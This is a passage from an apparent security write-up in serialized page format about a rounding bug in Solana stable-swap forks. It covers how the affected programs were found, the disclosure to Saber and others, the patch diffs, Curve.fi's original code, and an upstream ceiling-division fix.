teams.",{"type":22,"tag":23,"props":8280,"children":8281},{},[8282],{"type":27,"value":8283},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":22,"tag":91,"props":8285,"children":8289},{"code":8286,"language":8287,"meta":7,"className":8288,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[8290],{"type":22,"tag":30,"props":8291,"children":8292},{"__ignoreMap":7},[8293],{"type":22,"tag":101,"props":8294,"children":8295},{"class":103,"line":104},[8296,8300,8305,8310,8315,8320,8325],{"type":22,"tag":101,"props":8297,"children":8298},{"style":926},[8299],{"type":27,"value":6929},{"type":22,"tag":101,"props":8301,"children":8302},{"style":6476},[8303],{"type":27,"value":8304}," logs",{"type":22,"tag":101,"props":8306,"children":8307},{"style":6476},[8308],{"type":27,"value":8309}," -um",{"type":22,"tag":101,"props":8311,"children":8312},{"style":166},[8313],{"type":27,"value":8314}," |",{"type":22,"tag":101,"props":8316,"children":8317},{"style":926},[8318],{"type":27,"value":8319}," grep",{"type":22,"tag":101,"props":8321,"children":8322},{"style":6476},[8323],{"type":27,"value":8324}," 'Instruction: Swap'",{"type":22,"tag":101,"props":8326,"children":8327},{"style":6476},[8328],{"type":27,"value":8329}," -B1\n",{"type":22,"tag":23,"props":8331,"children":8332},{},[8333],{"type":27,"value":8334},"With some Google dorking, we were able to identify many of these programs.",{"type":22,"tag":91,"props":8336,"children":8338},{"code":8337},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[8339],{"type":22,"tag":30,"props":8340,"children":8341},{"__ignoreMap":7},[8342],{"type":27,"value":8337},{"type":22,"tag":23,"props":8344,"children":8345},{},[8346],{"type":27,"value":8347},"Now it was time to contact these teams.",{"type":22,"tag":23,"props":8349,"children":8350},{},[8351],{"type":27,"value":8352},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":22,"tag":23,"props":8354,"children":8355},{},[8356],{"type":27,"value":8357},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":22,"tag":91,"props":8359,"children":8361},{"code":8360,"language":95,"meta":7,"className":93,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[8362],{"type":22,"tag":30,"props":8363,"children":8364},{"__ignoreMap":7},[8365,8419,8432],{"type":22,"tag":101,"props":8366,"children":8367},{"class":103,"line":104},[8368,8373,8377,8382,8386,8391,8395,8399,8403,8407,8411,8415],{"type":22,"tag":101,"props":8369,"children":8370},{"style":166},[8371],{"type":27,"value":8372},"-",{"type":22,"tag":101,"props":8374,"children":8375},{"style":108},[8376],{"type":27,"value":3746},{"type":22,"tag":101,"props":8378,"children":8379},{"style":126},[8380],{"type":27,"value":8381}," dy",{"type":22,"tag":101,"props":8383,"children":8384},{"style":166},[8385],{"type":27,"value":960},{"type":22,"tag":101,"props":8387,"children":8388},{"style":126},[8389],{"type":27,"value":8390}," swap_destination_amount",{"type":22,"tag":101,"props":8392,"children":8393},{"style":166},[8394],{"type":27,"value":231},{"type":22,"tag":101,"props":8396,"children":8397},{"style":926},[8398],{"type":27,"value":7275},{"type":22,"tag":101,"props":8400,"children":8401},{"style":120},[8402],{"type":27,"value":980},{"type":22,"tag":101,"props":8404,"children":8405},{"style":126},[8406],{"type":27,"value":7155},{"type":22,"tag":101,"props":8408,"children":8409},{"style":120},[8410],{"type":27,"value":2261},{"type":22,"tag":101,"props":8412,"children":8413},{"style":166},[8414],{"type":27,"value":5455},{"type":22,"tag":101,"props":8416,"children":8417},{"style":120},[8418],{"type":27,"value":1520},{"type":22,"tag":101,"props":8420,"children":8421},{"class":103,"line":157},[8422,8427],{"type":22,"tag":101,"props":8423,"children":8424},{"style":166},[8425],{"type":27,"value":8426},"+",{"type":22,"tag":101,"props":8428,"children":8429},{"style":2215},[8430],{"type":27,"value":8431}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":22,"tag":101,"props":8433,"children":8434},{"class":103,"line":182},[8435,8439,8443,8447,8451,8455,8459,8463,8467,8471,8475,8479,8483,8487,8491,8495,8499],{"type":22,"tag":101,"props":8436,"children":8437},{"style":166},[8438],{"type":27,"value":8426},{"type":22,"tag":101,"props":8440,"children":8441},{"style":108},[8442],{"type":27,"value":3746},{"type":22,"tag":101,"props":8444,"children":8445},{"style":126},[8446],{"type":27,"value":8381},{"type":22,"tag":101,"props":8448,"children":8449},{"style":166},[8450],{"type":27,"value":960},{"type":22,"tag":101,"props":8452,"children":8453},{"style":126},[8454],{"type":27,"value":8390},{"type":22,"tag":101,"props":8456,"children":8457},{"style":166},[8458],{"type":27,"value":231},{"type":22,"tag":101,"props":8460,"children":8461},{"style":926},[8462],{"type":27,"value":7275},{"type":22,"tag":101,"props":8464,"children":8465},{"style":120},[8466],{"type":27,"value":980},{"type":22,"tag":101,"props":8468,"children":8469},{"style":126},[8470],{"type":27,"value":7155},{"type":22,"tag":101,"props":8472,"children":8473},{"style":120},[8474],{"type":27,"value":2261},{"type":22,"tag":101,"props":8476,"children":8477},{"style":166},[8478],{"type":27,"value":7173},{"type":22,"tag":101,"props":8480,"children":8481},{"style":926},[8482],{"type":27,"value":7275},{"type":22,"tag":101,"props":8484,"children":8485},{"style":120},[8486],{"type":27,"value":980},{"type":22,"tag":101,"props":8488,"children":8489},{"style":1544},[8490],{"type":27,"value":6813},{"type":22,"tag":101,"props":8492,"children":8493},{"style":120},[8494],{"type":27,"value":2261},{"type":22,"tag":101,"props":8496,"children":8497},{"style":166},[8498],{"type":27,"value":5455},{"type":22,"tag":101,"props":8500,"children":8501},{"style":120},[8502],{"type":27,"value":1520},{"type":22,"tag":23,"props":8504,"children":8505},{},[8506,8508,8515],{"type":27,"value":8507},"For reference, here is the ",{"type":22,"tag":80,"props":8509,"children":8512},{"href":8510,"rel":8511},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[84],[8513],{"type":27,"value":8514},"Curve.fi implementation",{"type":27,"value":231},{"type":22,"tag":91,"props":8517,"children":8521},{"code":8518,"language":8519,"meta":7,"className":8520,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[8522],{"type":22,"tag":30,"props":8523,"children":8524},{"__ignoreMap":7},[8525,8586],{"type":22,"tag":101,"props":8526,"children":8527},{"class":103,"line":104},[8528,8533,8537,8542,8546,8551,8555,8560,8564,8568,8573,8577,8581],{"type":22,"tag":101,"props":8529,"children":8530},{"style":120},[8531],{"type":27,"value":8532}," dy",{"type":22,"tag":101,"props":8534,"children":8535},{"style":166},[8536],{"type":27,"value":169},{"type":22,"tag":101,"props":8538,"children":8539},{"style":114},[8540],{"type":27,"value":8541}," uint256",{"type":22,"tag":101,"props":8543,"children":8544},{"style":166},[8545],{"type":27,"value":960},{"type":22,"tag":101,"props":8547,"children":8548},{"style":120},[8549],{"type":27,"value":8550}," xp[j] ",{"type":22,"tag":101,"props":8552,"children":8553},{"style":166},[8554],{"type":27,"value":8372},{"type":22,"tag":101,"props":8556,"children":8557},{"style":120},[8558],{"type":27,"value":8559}," y ",{"type":22,"tag":101,"props":8561,"children":8562},{"style":166},[8563],{"type":27,"value":8372},{"type":22,"tag":101,"props":8565,"children":8566},{"style":1544},[8567],{"type":27,"value":3648},{"type":22,"tag":101,"props":8569,"children":8570},{"style":120},[8571],{"type":27,"value":8572}," # ",{"type":22,"tag":101,"props":8574,"children":8575},{"style":166},[8576],{"type":27,"value":8372},{"type":22,"tag":101,"props":8578,"children":8579},{"style":1544},[8580],{"type":27,"value":6813},{"type":22,"tag":101,"props":8582,"children":8583},{"style":120},[8584],{"type":27,"value":8585}," just in case there were some rounding errors\n",{"type":22,"tag":101,"props":8587,"children":8588},{"class":103,"line":157},[8589,8594,8598,8602,8606,8611,8616,8621,8626],{"type":22,"tag":101,"props":8590,"children":8591},{"style":120},[8592],{"type":27,"value":8593}," dy_fee",{"type":22,"tag":101,"props":8595,"children":8596},{"style":166},[8597],{"type":27,"value":169},{"type":22,"tag":101,"props":8599,"children":8600},{"style":114},[8601],{"type":27,"value":8541},{"type":22,"tag":101,"props":8603,"children":8604},{"style":166},[8605],{"type":27,"value":960},{"type":22,"tag":101,"props":8607,"children":8608},{"style":120},[8609],{"type":27,"value":8610}," dy ",{"type":22,"tag":101,"props":8612,"children":8613},{"style":166},[8614],{"type":27,"value":8615},"*",{"type":22,"tag":101,"props":8617,"children":8618},{"style":120},[8619],{"type":27,"value":8620}," self.fee ",{"type":22,"tag":101,"props":8622,"children":8623},{"style":166},[8624],{"type":27,"value":8625},"/",{"type":22,"tag":101,"props":8627,"children":8628},{"style":120},[8629],{"type":27,"value":8630}," FEE_DENOMINATOR\n",{"type":22,"tag":23,"props":8632,"children":8633},{},[8634,8636,8643],{"type":27,"value":8635},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":22,"tag":80,"props":8637,"children":8640},{"href":8638,"rel":8639},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[84],[8641],{"type":27,"value":8642},"original commit",{"type":27,"value":8644},", not as an additional security patch.",{"type":22,"tag":91,"props":8646,"children":8648},{"code":8647},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[8649],{"type":22,"tag":30,"props":8650,"children":8651},{"__ignoreMap":7},[8652],{"type":27,"value":8647},{"type":22,"tag":23,"props":8654,"children":8655},{},[8656,8658,8665],{"type":27,"value":8657},"The commit adding stable swaps to SPL was ",{"type":22,"tag":80,"props":8659,"children":8662},{"href":8660,"rel":8661},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[84],[8663],{"type":27,"value":8664},"made a few months later",{"type":27,"value":8666},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":22,"tag":91,"props":8668,"children":8670},{"code":8669},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[8671],{"type":22,"tag":30,"props":8672,"children":8673},{"__ignoreMap":7},[8674],{"type":27,"value":8669},{"type":22,"tag":23,"props":8676,"children":8677},{},[8678,8680,8687],{"type":27,"value":8679},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":22,"tag":80,"props":8681,"children":8684},{"href":8682,"rel":8683},"https://github.com/solana-labs/solana-program-library",[84],[8685],{"type":27,"value":8686},"the Solana Program Library",{"type":27,"value":231},{"type":22,"tag":23,"props":8689,"children":8690},{},[8691],{"type":27,"value":8692},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":22,"tag":23,"props":8694,"children":8695},{},[8696,8703],{"type":22,"tag":80,"props":8697,"children":8700},{"href":8698,"rel":8699},"https://github.com/joncinque",[84],[8701],{"type":27,"value":8702},"@joncinque",{"type":27,"value":8704}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":22,"tag":604,"props":8706,"children":8707},{},[8708],{"type":22,"tag":23,"props":8709,"children":8710},{},[8711],{"type":27,"value":8712},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":22,"tag":23,"props":8714,"children":8715},{},[8716,8718,8725,8727,8733],{"type":27,"value":8717},"After some thought, he helped ",{"type":22,"tag":80,"props":8719,"children":8722},{"href":8720,"rel":8721},"https://github.com/solana-labs/solana-program-library/pull/2942",[84],[8723],{"type":27,"value":8724},"introduce a PR",{"type":27,"value":8726}," which ceilings the computation in ",{"type":22,"tag":30,"props":8728,"children":8730},{"className":8729},[],[8731],{"type":27,"value":8732},"compute_new_destination_amount",{"type":27,"value":8734}," to correctly round within the stable curve math library.",{"type":22,"tag":91,"props":8736,"children":8738},{"code":8737,"language":95,"meta":7,"className":93,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[8739],{"type":22,"tag":30,"props":8740,"children":8741},{"__ignoreMap":7},[8742,8750,8780,8807,8835,8859,8935,9039,9066,9161,9264,9291,9303,9322,9345],{"type":22,"tag":101,"props":8743,"children":8744},{"class":103,"line":104},[8745],{"type":22,"tag":101,"props":8746,"children":8747},{"style":2215},[8748],{"type":27,"value":8749}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":22,"tag":101,"props":8751,"children":8752},{"class":103,"line":157},[8753,8758,8762,8767,8771,8776],{"type":22,"tag":101,"props":8754,"children":8755},{"style":108},[8756],{"type":27,"value":8757}," let",{"type":22,"tag":101,"props":8759,"children":8760},{"style":108},[8761],{"type":27,"value":7052},{"type":22,"tag":101,"props":8763,"children":8764},{"style":126},[8765],{"type":27,"value":8766}," y_prev",{"type":22,"tag":101,"props":8768,"children":8769},{"style":166},[8770],{"type":27,"value":169},{"type":22,"tag":101,"props":8772,"children":8773},{"style":114},[8774],{"type":27,"value":8775}," U256",{"type":22,"tag":101,"props":8777,"children":8778},{"style":120},[8779],{"type":27,"value":1520},{"type":22,"tag":101,"props":8781,"children":8782},{"class":103,"line":182},[8783,8787,8791,8795,8799,8803],{"type":22,"tag":101,"props":8784,"children":8785},{"style":108},[8786],{"type":27,"value":8757},{"type":22,"tag":101,"props":8788,"children":8789},{"style":108},[8790],{"type":27,"value":7052},{"type":22,"tag":101,"props":8792,"children":8793},{"style":126},[8794],{"type":27,"value":7057},{"type":22,"tag":101,"props":8796,"children":8797},{"style":166},[8798],{"type":27,"value":960},{"type":22,"tag":101,"props":8800,"children":8801},{"style":126},[8802],{"type":27,"value":7066},{"type":22,"tag":101,"props":8804,"children":8805},{"style":120},[8806],{"type":27,"value":1520},{"type":22,"tag":101,"props":8808,"children":8809},{"class":103,"line":367},[8810,8815,8819,8823,8827,8831],{"type":22,"tag":101,"props":8811,"children":8812},{"style":3595},[8813],{"type":27,"value":8814}," for",{"type":22,"tag":101,"props":8816,"children":8817},{"style":126},[8818],{"type":27,"value":1501},{"type":22,"tag":101,"props":8820,"children":8821},{"style":108},[8822],{"type":27,"value":7087},{"type":22,"tag":101,"props":8824,"children":8825},{"style":1544},[8826],{"type":27,"value":1547},{"type":22,"tag":101,"props":8828,"children":8829},{"style":166},[8830],{"type":27,"value":7096},{"type":22,"tag":101,"props":8832,"children":8833},{"style":120},[8834],{"type":27,"value":7101},{"type":22,"tag":101,"props":8836,"children":8837},{"class":103,"line":398},[8838,8842,8847,8851,8855],{"type":22,"tag":101,"props":8839,"children":8840},{"style":166},[8841],{"type":27,"value":8372},{"type":22,"tag":101,"props":8843,"children":8844},{"style":126},[8845],{"type":27,"value":8846}," y_prev",{"type":22,"tag":101,"props":8848,"children":8849},{"style":166},[8850],{"type":27,"value":960},{"type":22,"tag":101,"props":8852,"children":8853},{"style":126},[8854],{"type":27,"value":7057},{"type":22,"tag":101,"props":8856,"children":8857},{"style":120},[8858],{"type":27,"value":1520},{"type":22,"tag":101,"props":8860,"children":8861},{"class":103,"line":428},[8862,8866,8871,8875,8879,8883,8887,8891,8895,8899,8903,8907,8911,8915,8919,8923,8927,8931],{"type":22,"tag":101,"props":8863,"children":8864},{"style":166},[8865],{"type":27,"value":8372},{"type":22,"tag":101,"props":8867,"children":8868},{"style":126},[8869],{"type":27,"value":8870}," y",{"type":22,"tag":101,"props":8872,"children":8873},{"style":166},[8874],{"type":27,"value":960},{"type":22,"tag":101,"props":8876,"children":8877},{"style":120},[8878],{"type":27,"value":3603},{"type":22,"tag":101,"props":8880,"children":8881},{"style":926},[8882],{"type":27,"value":7142},{"type":22,"tag":101,"props":8884,"children":8885},{"style":120},[8886],{"type":27,"value":980},{"type":22,"tag":101,"props":8888,"children":8889},{"style":166},[8890],{"type":27,"value":985},{"type":22,"tag":101,"props":8892,"children":8893},{"style":126},[8894],{"type":27,"value":7155},{"type":22,"tag":101,"props":8896,"children":8897},{"style":120},[8898],{"type":27,"value":758},{"type":22,"tag":101,"props":8900,"children":8901},{"style":1544},[8902],{"type":27,"value":7164},{"type":22,"tag":101,"props":8904,"children":8905},{"style":120},[8906],{"type":27,"value":2261},{"type":22,"tag":101,"props":8908,"children":8909},{"style":166},[8910],{"type":27,"value":7173},{"type":22,"tag":101,"props":8912,"children":8913},{"style":926},[8914],{"type":27,"value":7178},{"type":22,"tag":101,"props":8916,"children":8917},{"style":120},[8918],{"type":27,"value":980},{"type":22,"tag":101,"props":8920,"children":8921},{"style":126},[8922],{"type":27,"value":7187},{"type":22,"tag":101,"props":8924,"children":8925},{"style":120},[8926],{"type":27,"value":2261},{"type":22,"tag":101,"props":8928,"children":8929},{"style":166},[8930],{"type":27,"value":5455},{"type":22,"tag":101,"props":8932,"children":8933},{"style":120},[8934],{"type":27,"value":2510},{"type":22,"tag":101,"props":8936,"children":8937},{"class":103,"line":997},[8938,8942,8946,8951,8955,8959,8963,8967,8971,8975,8979,8983,8987,8991,8995,8999,9003,9007,9011,9015,9019,9023,9027,9031,9035],{"type":22,"tag":101,"props":8939,"children":8940},{"style":166},[8941],{"type":27,"value":8372},{"type":22,"tag":101,"props":8943,"children":8944},{"style":166},[8945],{"type":27,"value":7207},{"type":22,"tag":101,"props":8947,"children":8948},{"style":926},[8949],{"type":27,"value":8950},"checked_div",{"type":22,"tag":101,"props":8952,"children":8953},{"style":120},[8954],{"type":27,"value":980},{"type":22,"tag":101,"props":8956,"children":8957},{"style":926},[8958],{"type":27,"value":7221},{"type":22,"tag":101,"props":8960,"children":8961},{"style":120},[8962],{"type":27,"value":980},{"type":22,"tag":101,"props":8964,"children":8965},{"style":166},[8966],{"type":27,"value":985},{"type":22,"tag":101,"props":8968,"children":8969},{"style":126},[8970],{"type":27,"value":7155},{"type":22,"tag":101,"props":8972,"children":8973},{"style":120},[8974],{"type":27,"value":758},{"type":22,"tag":101,"props":8976,"children":8977},{"style":1544},[8978],{"type":27,"value":7164},{"type":22,"tag":101,"props":8980,"children":8981},{"style":120},[8982],{"type":27,"value":2261},{"type":22,"tag":101,"props":8984,"children":8985},{"style":166},[8986],{"type":27,"value":7173},{"type":22,"tag":101,"props":8988,"children":8989},{"style":926},[8990],{"type":27,"value":7178},{"type":22,"tag":101,"props":8992,"children":8993},{"style":120},[8994],{"type":27,"value":980},{"type":22,"tag":101,"props":8996,"children":8997},{"style":126},[8998],{"type":27,"value":7262},{"type":22,"tag":101,"props":9000,"children":9001},{"style":120},[9002],{"type":27,"value":2261},{"type":22,"tag":101,"props":9004,"children":9005},{"style":166},[9006],{"type":27,"value":7173},{"type":22,"tag":101,"props":9008,"children":9009},{"style":926},[9010],{"type":27,"value":7275},{"type":22,"tag":101,"props":9012,"children":9013},{"style":120},[9014],{"type":27,"value":980},{"type":22,"tag":101,"props":9016,"children":9017},{"style":126},[9018],{"type":27,"value":7284},{"type":22,"tag":101,"props":9020,"children":9021},{"style":120},[9022],{"type":27,"value":2261},{"type":22,"tag":101,"props":9024,"children":9025},{"style":166},[9026],{"type":27,"value":5455},{"type":22,"tag":101,"props":9028,"children":9029},{"style":120},[9030],{"type":27,"value":2261},{"type":22,"tag":101,"props":9032,"children":9033},{"style":166},[9034],{"type":27,"value":5455},{"type":22,"tag":101,"props":9036,"children":9037},{"style":120},[9038],{"type":27,"value":1520},{"type":22,"tag":101,"props":9040,"children":9041},{"class":103,"line":1032},[9042,9046,9050,9054,9058,9062],{"type":22,"tag":101,"props":9043,"children":9044},{"style":166},[9045],{"type":27,"value":8372},{"type":22,"tag":101,"props":9047,"children":9048},{"style":3595},[9049],{"type":27,"value":7312},{"type":22,"tag":101,"props":9051,"children":9052},{"style":126},[9053],{"type":27,"value":7057},{"type":22,"tag":101,"props":9055,"children":9056},{"style":166},[9057],{"type":27,"value":1541},{"type":22,"tag":101,"props":9059,"children":9060},{"style":126},[9061],{"type":27,"value":8766},{"type":22,"tag":101,"props":9063,"children":9064},{"style":120},[9065],{"type":27,"value":154},{"type":22,"tag":101,"props":9067,"children":9068},{"class":103,"line":1063},[9069,9073,9077,9081,9085,9089,9093,9097,9101,9105,9109,9113,9117,9121,9125,9129,9133,9137,9141,9145,9149,9153,9157],{"type":22,"tag":101,"props":9070,"children":9071},{"style":166},[9072],{"type":27,"value":8426},{"type":22,"tag":101,"props":9074,"children":9075},{"style":108},[9076],{"type":27,"value":3746},{"type":22,"tag":101,"props":9078,"children":9079},{"style":120},[9080],{"type":27,"value":3603},{"type":22,"tag":101,"props":9082,"children":9083},{"style":126},[9084],{"type":27,"value":7117},{"type":22,"tag":101,"props":9086,"children":9087},{"style":120},[9088],{"type":27,"value":758},{"type":22,"tag":101,"props":9090,"children":9091},{"style":126},[9092],{"type":27,"value":6382},{"type":22,"tag":101,"props":9094,"children":9095},{"style":120},[9096],{"type":27,"value":901},{"type":22,"tag":101,"props":9098,"children":9099},{"style":166},[9100],{"type":27,"value":1511},{"type":22,"tag":101,"props":9102,"children":9103},{"style":120},[9104],{"type":27,"value":3603},{"type":22,"tag":101,"props":9106,"children":9107},{"style":926},[9108],{"type":27,"value":7142},{"type":22,"tag":101,"props":9110,"children":9111},{"style":120},[9112],{"type":27,"value":980},{"type":22,"tag":101,"props":9114,"children":9115},{"style":166},[9116],{"type":27,"value":985},{"type":22,"tag":101,"props":9118,"children":9119},{"style":126},[9120],{"type":27,"value":7155},{"type":22,"tag":101,"props":9122,"children":9123},{"style":120},[9124],{"type":27,"value":758},{"type":22,"tag":101,"props":9126,"children":9127},{"style":1544},[9128],{"type":27,"value":7164},{"type":22,"tag":101,"props":9130,"children":9131},{"style":120},[9132],{"type":27,"value":2261},{"type":22,"tag":101,"props":9134,"children":9135},{"style":166},[9136],{"type":27,"value":7173},{"type":22,"tag":101,"props":9138,"children":9139},{"style":926},[9140],{"type":27,"value":7178},{"type":22,"tag":101,"props":9142,"children":9143},{"style":120},[9144],{"type":27,"value":980},{"type":22,"tag":101,"props":9146,"children":9147},{"style":126},[9148],{"type":27,"value":7187},{"type":22,"tag":101,"props":9150,"children":9151},{"style":120},[9152],{"type":27,"value":2261},{"type":22,"tag":101,"props":9154,"children":9155},{"style":166},[9156],{"type":27,"value":5455},{"type":22,"tag":101,"props":9158,"children":9159},{"style":120},[9160],{"type":27,"value":2510},{"type":22,"tag":101,"props":9162,"children":9163},{"class":103,"line":1071},[9164,9168,9172,9176,9180,9184,9188,9192,9196,9200,9204,9208,9212,9216,9220,9224,9228,9232,9236,9240,9244,9248,9252,9256,9260],{"type":22,"tag":101,"props":9165,"children":9166},{"style":166},[9167],{"type":27,"value":8426},{"type":22,"tag":101,"props":9169,"children":9170},{"style":166},[9171],{"type":27,"value":7207},{"type":22,"tag":101,"props":9173,"children":9174},{"style":926},[9175],{"type":27,"value":7212},{"type":22,"tag":101,"props":9177,"children":9178},{"style":120},[9179],{"type":27,"value":980},{"type":22,"tag":101,"props":9181,"children":9182},{"style":926},[9183],{"type":27,"value":7221},{"type":22,"tag":101,"props":9185,"children":9186},{"style":120},[9187],{"type":27,"value":980},{"type":22,"tag":101,"props":9189,"children":9190},{"style":166},[9191],{"type":27,"value":985},{"type":22,"tag":101,"props":9193,"children":9194},{"style":126},[9195],{"type":27,"value":7155},{"type":22,"tag":101,"props":9197,"children":9198},{"style":120},[9199],{"type":27,"value":758},{"type":22,"tag":101,"props":9201,"children":9202},{"style":1544},[9203],{"type":27,"value":7164},{"type":22,"tag":101,"props":9205,"children":9206},{"style":120},[9207],{"type":27,"value":2261},{"type":22,"tag":101,"props":9209,"children":9210},{"style":166},[9211],{"type":27,"value":7173},{"type":22,"tag":101,"props":9213,"children":9214},{"style":926},[9215],{"type":27,"value":7178},{"type":22,"tag":101,"props":9217,"children":9218},{"style":120},[9219],{"type":27,"value":980},{"type":22,"tag":101,"props":9221,"children":9222},{"style":126},[9223],{"type":27,"value":7262},{"type":22,"tag":101,"props":9225,"children":9226},{"style":120},[9227],{"type":27,"value":2261},{"type":22,"tag":101,"props":9229,"children":9230},{"style":166},[9231],{"type":27,"value":7173},{"type":22,"tag":101,"props":9233,"children":9234},{"style":926},[9235],{"type":27,"value":7275},{"type":22,"tag":101,"props":9237,"children":9238},{"style":120},[9239],{"type":27,"value":980},{"type":22,"tag":101,"props":9241,"children":9242},{"style":126},[9243],{"type":27,"value":7284},{"type":22,"tag":101,"props":9245,"children":9246},{"style":120},[9247],{"type":27,"value":2261},{"type":22,"tag":101,"props":9249,"children":9250},{"style":166},[9251],{"type":27,"value":5455},{"type":22,"tag":101,"props":9253,"children":9254},{"style":120},[9255],{"type":27,"value":2261},{"type":22,"tag":101,"props":9257,"children":9258},{"style":166},[9259],{"type":27,"value":5455},{"type":22,"tag":101,"props":9261,"children":9262},{"style":120},[9263],{"type":27,"value":1520},{"type":22,"tag":101,"props":9265,"children":9266},{"class":103,"line":1110},[9267,9271,9275,9279,9283,9287],{"type":22,"tag":101,"props":9268,"children":9269},{"style":166},[9270],{"type":27,"value":8426},{"type":22,"tag":101,"props":9272,"children":9273},{"style":3595},[9274],{"type":27,"value":7312},{"type":22,"tag":101,"props":9276,"children":9277},{"style":126},[9278],{"type":27,"value":7317},{"type":22,"tag":101,"props":9280,"children":9281},{"style":166},[9282],{"type":27,"value":1541},{"type":22,"tag":101,"props":9284,"children":9285},{"style":126},[9286],{"type":27,"value":7057},{"type":22,"tag":101,"props":9288,"children":9289},{"style":120},[9290],{"type":27,"value":154},{"type":22,"tag":101,"props":9292,"children":9293},{"class":103,"line":1118},[9294,9299],{"type":22,"tag":101,"props":9295,"children":9296},{"style":3595},[9297],{"type":27,"value":9298}," break",{"type":22,"tag":101,"props":9300,"children":9301},{"style":120},[9302],{"type":27,"value":1520},{"type":22,"tag":101,"props":9304,"children":9305},{"class":103,"line":1158},[9306,9310,9314,9318],{"type":22,"tag":101,"props":9307,"children":9308},{"style":166},[9309],{"type":27,"value":8426},{"type":22,"tag":101,"props":9311,"children":9312},{"style":120},[9313],{"type":27,"value":7349},{"type":22,"tag":101,"props":9315,"children":9316},{"style":3595},[9317],{"type":27,"value":7354},{"type":22,"tag":101,"props":9319,"children":9320},{"style":120},[9321],{"type":27,"value":154},{"type":22,"tag":101,"props":9323,"children":9324},{"class":103,"line":1166},[9325,9329,9333,9337,9341],{"type":22,"tag":101,"props":9326,"children":9327},{"style":166},[9328],{"type":27,"value":8426},{"type":22,"tag":101,"props":9330,"children":9331},{"style":126},[9332],{"type":27,"value":7366},{"type":22,"tag":101,"props":9334,"children":9335},{"style":166},[9336],{"type":27,"value":960},{"type":22,"tag":101,"props":9338,"children":9339},{"style":126},[9340],{"type":27,"value":7317},{"type":22,"tag":101,"props":9342,"children":9343},{"style":120},[9344],{"type":27,"value":1520},{"type":22,"tag":101,"props":9346,"children":9347},{"class":103,"line":1215},[9348],{"type":22,"tag":101,"props":9349,"children":9350},{"style":120},[9351],{"type":27,"value":9352}," }\n",{"type":22,"tag":53,"props":9354,"children":9356},{"id":9355},"closing-thoughts",[9357],{"type":27,"value":9358},"Closing Thoughts",{"type":22,"tag":23,"props":9360,"children":9361},{},[9362],{"type":27,"value":9363},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":22,"tag":23,"props":9365,"children":9366},{},[9367,9369,9375],{"type":27,"value":9368},"Another interesting takeaway is that ",{"type":22,"tag":9370,"props":9371,"children":9372},"strong",{},[9373],{"type":27,"value":9374},"fuzzing can give a false sense of 